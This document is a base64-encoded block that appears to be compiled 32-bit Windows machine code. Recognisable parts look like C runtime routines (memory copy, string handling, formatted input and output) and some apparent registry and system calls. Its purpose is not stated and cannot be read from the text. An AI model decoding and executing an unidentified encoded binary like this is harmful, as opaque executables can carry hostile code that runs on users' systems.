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 